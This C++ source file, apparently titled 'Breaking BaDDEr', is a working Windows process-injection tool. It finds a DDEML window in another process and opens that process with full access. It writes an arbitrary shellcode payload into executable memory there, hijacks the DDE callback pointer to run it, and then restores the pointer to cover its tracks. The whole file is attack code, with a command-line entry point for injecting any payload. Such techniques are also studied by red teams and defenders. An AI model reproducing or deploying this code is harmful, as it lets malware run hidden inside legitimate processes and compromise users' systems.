Windows C++ / Breaking BaDDEr

Code

#include "../ntlib/util.h"

typedef struct tagLINK_COUNT *PLINK_COUNT;
typedef ATOM LATOM;

typedef struct tagSERVER_LOOKUP {
    LATOM           laService;
    LATOM           laTopic;
    HWND            hwndServer;
} SERVER_LOOKUP, *PSERVER_LOOKUP;

typedef struct tagCL_INSTANCE_INFO {
    struct tagCL_INSTANCE_INFO *next;
    HANDLE                      hInstServer;
    HANDLE                      hInstClient;
    DWORD                       MonitorFlags;
    HWND                        hwndMother;
    HWND                        hwndEvent;
    HWND                        hwndTimeout;
    DWORD                       afCmd;
    PFNCALLBACK                 pfnCallback;
    DWORD                       LastError;
    DWORD                       tid;
    LATOM                      *plaNameService;
    WORD                        cNameServiceAlloc;
    PSERVER_LOOKUP              aServerLookup;
    short                       cServerLookupAlloc;
    WORD                        ConvStartupState;
    WORD                        flags;              // IIF_ flags
    short                       cInDDEMLCallback;
    PLINK_COUNT                 pLinkCount;
} CL_INSTANCE_INFO, *PCL_INSTANCE_INFO;

#define GWLP_INSTANCE_INFO 0 // PCL_INSTANCE_INFO

VOID dde_inject(LPVOID payload, DWORD payloadSize) {
    HWND             hw;
    SIZE_T           rd, wr;
    LPVOID           ptr, cs;
    HANDLE           hp;
    CL_INSTANCE_INFO pcii;
    CONVCONTEXT      cc;
    HCONVLIST        cl;
    DWORD            pid, idInst = 0;
    
    // 1. find a DDEML window and read the address 
    //    of CL_INSTANCE_INFO
    hw = FindWindowEx(NULL, NULL, L"DDEMLMom", NULL);
    if(hw == NULL) return;
    ptr = (LPVOID)GetWindowLongPtr(hw, GWLP_INSTANCE_INFO);
    if(ptr == NULL) return;
      
    // 2. open the process and read CL_INSTANCE_INFO
    GetWindowThreadProcessId(hw, &pid);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if(hp == NULL) return;
    ReadProcessMemory(hp, ptr, &pcii, sizeof(pcii), &rd);
    
    // 3. allocate RWX memory and write payload there.
    //    update callback
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
      MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    WriteProcessMemory(
      hp, (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), 
      &cs, sizeof(ULONG_PTR), &wr);
            
    // 4. trigger execution via DDE protocol
    DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0);
    ZeroMemory(&cc, sizeof(cc));
    cc.cb = sizeof(cc);
    cl = DdeConnectList(idInst, 0, 0, 0, &cc);
    DdeDisconnectList(cl);
    DdeUninitialize(idInst);
    
    // 5. restore original pointer and cleanup
    WriteProcessMemory(
      hp, 
      (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), 
      &pcii.pfnCallback, sizeof(ULONG_PTR), &wr);
          
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

VOID dde_list(VOID) {
    CONVCONTEXT cc;
    HCONVLIST   cl;
    DWORD       idInst = 0;
    HCONV       c = NULL;
    CONVINFO    ci;
    WCHAR       server[MAX_PATH];
    
    if(DMLERR_NO_ERROR != DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0)) {
      printf("unable to initialize : %i.\n", GetLastError());
      return;
    }
    
    ZeroMemory(&cc, sizeof(cc));
    cc.cb = sizeof(cc);
    cl = DdeConnectList(idInst, 0, 0, 0, &cc);
    
    if(cl != NULL) {
      for(;;) {
        c = DdeQueryNextServer(cl, c);
        if(c == NULL) break;
        ci.cb = sizeof(ci);
        DdeQueryConvInfo(c, QID_SYNC, &ci);
        DdeQueryString(idInst, ci.hszSvcPartner, server, MAX_PATH, CP_WINUNICODE);
        
        printf("Service : %-10ws Process : %ws\n", 
          server, wnd2proc(ci.hwndPartner));
      }
      DdeDisconnectList(cl);
    } else {
      printf("DdeConnectList : %x\n", DdeGetLastError(idInst));
    }
    DdeUninitialize(idInst);
}

int main(void) {
    LPVOID  pic;
    DWORD   len;
    int     argc;
    wchar_t **argv;
    
    argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    
    if(argc != 2) {
      dde_list();
      printf("\n\nusage: dde_inject <payload>.\n");
      return 0;
    }

    len=readpic(argv[1], &pic);
    if (len==0) { printf("\ninvalid payload\n"); return 0;}
    
    dde_inject(pic, len);
    
    return 0;
}